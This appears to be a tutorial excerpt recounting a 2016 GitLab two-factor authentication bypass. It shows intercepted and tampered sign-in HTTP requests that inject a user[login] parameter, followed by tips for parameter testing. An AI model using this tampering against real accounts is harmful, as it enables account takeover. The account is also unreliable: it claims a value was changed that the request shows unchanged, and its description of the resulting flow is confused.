In 2016, a bug bounty hunter named José Torres published a vulnerability that allowed him to sign in to GitLab's accounts without knowing a user's password.

Before explaining the bug, let me explain what two-factor (2F) authentication is. Traditionally, applications employ a username and a password to provide access to them. It is easy and theoretically secure. But, if the password is compromised, a malicious user does not need to access to the user's account anymore.

With this in mind, some applications use other channels to confirm that the user who is entering an application is who they say they are. The second factor could be different ways for authentication, for example, an SMS received by the user on their cellphone, an email, or a token. The basic idea is that the user signs into the application using their username and password (first factor),  and then the application asks for extra data, related to something that does not depend on the username or password.

José Torres found that the sign-in module in GitLab, using 2F authentication, depended on the user's session. He discovered it by intercepting the request sent to the application with a proxy, and getting the following:

    POST /users/sign_in HTTP/1.1
    Host: 159.xxx.xxx.xxx
    ...
    
    ----------1881604860
    Content-Disposition: form-data; name="user[otp_attempt]"
    
    212421
    ----------1881604860--

So, he modified the 212421 ID, and changed it to another valid one. The important thing here is that the valid ID used is being controlled by the person who is doing the attack. The modified request looks as follows:

    POST /users/sign_in HTTP/1.1
    Host: 159.xxx.xxx.xxx
    ...
    
    ----------1881604860
    Content-Disposition: form-data; name="user[otp_attempt]"
    
    212421
    ----------1881604860
    Content-Disposition: form-data; name="user[login]"
    
    212231
    ----------1881604860--

Now, the application will send to user 212231 the value for the 2F authentication. The user can enter it, and therefore access to the first user's account.

The tips to identify these kinds of vulnerabilities are as follows:

• Analyze each request and try to understand each value and the parameter sent: Even if they are hidden parameters, actually, they are sometimes more important.
• Test each parameter with different values: Don't just enter testing strings to look for injectable parameters, also check what happens if entered data has a valid structure but different values. Maybe these parameters are in charge of the application's flow.